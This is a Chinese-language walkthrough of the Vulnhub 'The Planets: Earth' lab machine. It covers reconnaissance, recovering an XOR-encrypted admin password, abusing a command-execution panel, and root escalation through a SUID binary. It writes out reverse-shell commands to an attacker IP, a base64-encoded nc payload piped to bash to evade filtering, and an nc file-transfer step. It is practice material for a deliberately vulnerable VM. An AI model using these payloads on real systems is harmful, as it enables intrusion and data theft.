Vulnhub系列靶机---The Planets: Earth(行星-地球)

文章目录

      • 信息收集
        • 主机发现
        • 端口扫描
        • 目录扫描
        • dirsearch
      • 漏洞利用
        • 反弹shell
        • nc文件传输
        • strace调试工具

靶机文档:The Planets: Earth

下载地址:Download (Mirror)

难易程度:Easy

信息收集

主机发现

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第1张图片

端口扫描

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第2张图片

80端口

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第3张图片

需要做映射/etc/hosts

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第4张图片

https://earth.local/

https://terratest.earth.local/

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第5张图片

目录扫描

扫描http协议是没有结果的,需要对https协议做扫描

dirsearch

dirsearch -u https://earth.local/ -i 200

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第6张图片

dirsearch -u https://terratest.earth.local/ -i 200

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第7张图片

https://earth.local/admin/login

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第8张图片

https://terratest.earth.local/robots.txt

发现除了常规的格式不能访问之外,最后还多了一个Disallow: /testingnotes.*

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第9张图片

和上面的后缀格式拼接访问发现txt文件可以访问

访问/testingnotes.txt

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第10张图片

得到的信息有:

  • 使用XOR加密
  • testdata.txt用于测试加密。
  • terra用作管理门户的用户名

访问/testdata.txt

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第11张图片

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第12张图片

漏洞利用

https://earth.local/

通过三个秘钥去尝试找到用户名为terra对应的密码

前两个密钥不能用

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第13张图片

得到密码:earthclimatechangebad4humans


username: terra

password:earthclimatechangebad4human


来到登陆页面进行登陆

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第14张图片

命令执行漏洞

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第15张图片

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第16张图片

反弹shell

bash -i &> /deb/tcp/192.168.8.8/6868 0>&1

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第17张图片

nc 192.168.8.8 6868 -e /bin/bash

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第18张图片

只输入base64编码是不行的要结合解码命令

echo "bmMgMTkyLjE2OC44LjggNjg2OCAtZSAvYmluL2Jhc2gK"| base64 -d |bash

反弹到kali机器上

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第19张图片

交互式shell

python3 -c "import pty; pty.spawn('/bin/bash')"

尝试sudo -l 没有可以运行sudo的文件

执行 find / -perm -u=s -type f 2>/dev/null 查找一些suid权限文件

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第20张图片

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第21张图片

但是用户切换失败

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第22张图片

nc文件传输

使用nc传输文件

先在kali上输入nc -nlvp 6868 >reset_root,开启监听

在靶机shell上输入nc 192.168.8.8 6868

strace调试工具

使用strace工具检测reset_root文件的运行过程,如果没有可以下载安装下

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第23张图片

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第24张图片

发现文件执行失败是因为少了这三个文件或目录。

因此在靶机shell上创建这三个文件

进入靶机终端进行创键

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

创建完成后执行reset_root

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第25张图片

Vulnhub系列靶机---The Planets: Earth(行星-地球)_第26张图片

你可能感兴趣的:(#,Vulnhub靶机系列,网络安全,vulnhub)